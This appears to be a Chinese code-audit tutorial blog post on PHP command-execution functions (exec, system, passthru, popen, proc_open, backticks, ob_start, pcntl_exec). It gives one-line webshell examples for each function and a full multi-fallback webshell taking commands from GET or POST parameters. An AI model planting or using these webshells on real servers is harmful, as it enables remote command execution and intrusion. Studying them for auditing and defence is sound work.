• 审计基础-PHP命令执行


    1. 命令执行

    1.1 程序执行函数

    程序执行函数
    这些函数和 执行运算符 是紧密关联的。 因此,当运行在 安全模式 时,你必须考虑 safe_mode_exec_dir指示

    exec

    PHP 457
    exec — 执行一个外部程序
    exec ( string $command ) : string
    返回命令执行结果的最后一行内容,实际不echo出来的话回显为空
    

    利用:

    <?php echo exec($_GET["c"]);?>
    ?c=ls
    

    https://www.php.net/manual/zh/function.exec.php

    passthru

    PHP 457
    passthru — 执行外部程序并且显示原始输出
    passthru ( string $command ) : void
    

    利用:

    <?php passthru($_GET['c']);?>
    ?c=ls
    

    https://www.php.net/manual/zh/function.passthru.php

    proc_open

    PHP 457
    proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
    proc_open ( string $cmd , array $descriptorspec , array &$pipes ) : resource
    

    利用:

    <?php
    $command=$_GET['c'];
    $descriptorspec = array(1 => array("pipe", "w"),);
    $handle = proc_open($command,$descriptorspec,$pipes);
    echo fread($pipes[1], 1024);
    
    ?c=ls
    

    https://www.php.net/manual/zh/function.proc-open.php

    shell_exec

    PHP 457
    shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
    shell_exec ( string $cmd ) : string
    

    利用:

    <?php echo shell_exec($_GET['c']);?>
    ?c=ls
    

    https://www.php.net/manual/zh/function.shell-exec.php

    执行运算符-反引号``

    `command`
    

    反引号中的内容作为 shell 命令执行,并返回输出信息
    等同shell_exec(),shell_exec()被禁则无效
    需要echo回显

    <?php
    $c=$_GET['c'];
    echo `$c`;
    
    ?c=ls
    

    反引号在双引号字符串中不起命令执行作用
    https://www.php.net/manual/zh/language.operators.execution.php

    system

    PHP 457
    system — 执行外部程序,并且显示输出
    system ( string $command ) : string
    

    利用:

    <?php system($_GET["c"]);?>
    ?c=ls
    

    https://www.php.net/manual/zh/function.system.php

    1.2 文件系统函数

    popen

    PHP 457
    popen — 打开进程文件指针
    popen ( string $command , string $mode ) : resource
    打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
    返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 'r',返回的文件指针等于命令的 STDOUT。
    

    利用

    <?php
    $handle = popen($_GET['c'],"r");
    echo fread($handle,1024);
    
    ?c=ls
    

    1.3 Output Control 函数

    ob_start

    基于其他命令执行函数使用

    PHP 457<7.4
    ob_start — 打开输出控制缓冲
    ob_start ([ callback $output_callback ]) : bool
    此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
    

    利用:

    <?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>
    ?a=whoami
    只输出命令执行结果的第一行
    

    分析:
    ob_start的$output_callback参数是函数类型
    可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器

    在上述利用中,output_callback的值为system,然后将参数a的内容whoami写入了缓存[输出缓冲区],所以在flush时会调用system函数,或者不用flush,在脚本结束时同样也会调用system,缓存中的内容whoami作为参数传递给了system,效果就是system("whoami"),然后再将执行结果输出到浏览器中。

    简述就是:ob_start开启缓冲区,后面的所有输出echo都会存入缓冲区中,ob_end_flush结束缓冲区时,调用ob_start的参数system函数,并将缓冲区中的内容$_GET[a]作为参数传递给system函数

    下面是关于php的output_buffering(ob)机制

    php output_buffering
    buffer是一个内存地址空间,Linux系统默认大小一般为4096(4kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的设备之间传办理数据的区域。通过buffer,可以使进程之间的相互等待变少。这里说一个通俗一点的例子,你打开文本编辑器编辑一个文件的时候,你每输入一个字符,操作系统并不会立即把这个字符直接写入到磁盘,而是先写入到buffer,当写满了一个buffer的时候,才会把buffer中的数据写入磁盘,当然当调用内核函数flush()的时候,强制要求把buffer中的脏数据写回磁盘。

    同样的道理,当php执行echo,print的时候,输出并没有立即通过tcp传给客户端浏览器显示,而是将数据写入php buffer。php output_buffering机制,意味在tcp buffer之前,建立了一新的队列,数据必须经过该队列。当一个php buffer写满的时候,脚本进程会将php buffer中的输出数据交给系统内核交由tcp传给浏览器显示。所以,数据会依次写到这几个地方echo/pring -> php buffer -> tcp buffer -> browser。

    默认情况下,php buffer是开启的,而且该buffer默认值是4096,即4kb。你可以通过在php.ini配置文件中找到output_buffering配置。当echo,print等输出用户数据的时候,输出数据都会写入到php output_buffering中,直到output_buffering写满,会将这些数据通过tcp传送给浏览器显示。你也可以通过ob_start()手动激活php output_buffering机制,使得即便输出超过了4kb数据,也不真的把数据交给tcp传给浏览器,因为ob_start()将php buffer空间设置到了足够大。只有直到脚本结束,或者调用ob_end_flush函数,才会把数据发送给客户端浏览器。

    https://www.php.net/manual/zh/function.ob-start
    https://blog.csdn.net/tonyxf121/article/details/7973798

    1.4 PCNTL 函数

    pcntl_exec

    PHP 457
    pcntl_exec — 在当前进程空间执行指定程序
    pcntl_exec ( string $path [, array $args ] ) : void
    以给定参数执行程序。
    path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/bin 的sh脚本)
    args是一个要传递给程序的参数的字符串数组
    

    利用

    <?php $c=array('-al');pcntl_exec('/usr/bin/ls',$c);
    

    2. 大一统

    来自卿师傅
    缺了extract和pcntl_exec

    <?php
    $command=$_GET['cmd'];
    #function exec_all($command)
    #{
        
    //system函数可执行并直接显示结果
    if(function_exists('system'))
    {
        echo "<pre>";
        system($command);
        echo "</pre>";
    }
     
    //passthru函数可执行并直接显示结果
    else if(function_exists('passthru'))
    {
        echo "<pre>";
        passthru($command);
        echo "</pre>";
    }
     
    //shell_exec函数可执行但需要加echo才能显示结果
    else if(function_exists('shell_exec'))
    {
        echo "<pre>";
        echo shell_exec($command);
        echo "</pre>";
    }
     
    //function exec(命令,以数组形式的保存结果,命令执行的状态码)
    //可执行,但需要加echo才能显示结果
    else if(function_exists('exec'))
    {  
        echo "<pre>";
        exec($command,$output);
        echo "</br>";
        print_r($output);
        echo "</pre>";
    }
     
    //popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
    //返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
    //此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
    //若出错,则返回 false。
    else if(function_exists('popen'))
    {
        $handle = popen($command , "r"); // Open the command pipe for reading
        if(is_resource($handle))
        {
            if(function_exists('fread') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($handle))
                {
                    echo fread($handle, 1024);        
                }
                echo "</pre>";
            }
            else if(function_exists('fgets') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($handle))
                {       
                    echo fgets($handle,1024);
                }
                echo "<pre>";
            }
        }
        pclose($handle);
    }
     
    //proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
    else if(function_exists('proc_open'))
    {
        $descriptorspec = array(
                1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
                );
        $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
        if(is_resource($handle))
        {
            if(function_exists('fread') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($pipes[1]))
                {
                    echo fread($pipes[1], 1024);        
                }
                echo "</pre>";
            }
            else if(function_exists('fgets') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($pipes[1]))
                {       
                    echo fgets($pipes[1],1024);
                }
                echo "<pre>";
            }
        }
        #pclose($handle);
    }
     
    else
    {
        echo 'GG';
    }
    
    <?php
    $cmd=$_POST['cmd'];
    echo "<pre>";
     
    //可执行并直接显示结果,反引号,波浪键。
    //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
    //所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
    echo `$cmd`;
     
     
    //注意,这个只显示结果的第一行,因此基本只能执行whoami
    //ob_start:打开缓冲区,需要system函数开启
    $a = 'system';
    ob_start($a);
    echo "$_POST[cmd]";
    ob_end_flush();
     
    echo "</pre>";
    

    3. 参考

    https://www.cnblogs.com/-qing-/p/10819069.html
    https://blog.csdn.net/tonyxf121/article/details/7973798
    https://www.php.net/manual/zh/

  • 相关阅读:
    electron 安装失败解决办法
    面向 B 端的产品经理
    如何学习一门新语言或框架
    斑马为什么有条纹?
    沃伦·巴菲特 | 成功的 10/10/10 法则
    如果想进入一家大公司面试,你会怎么做?
    人工智能缺陷与误觉:让机器产生幻觉的「怪异事件」
    20 世纪 70 年代的太空殖民艺术
    如何实现SSH断开后 进程仍然在后台运行
    让Linux关闭终端(关闭SSH等)后,程序继续运行
  • 原文地址:https://www.cnblogs.com/Rain99-/p/13720299.html
Copyright © 2020-2023  润新知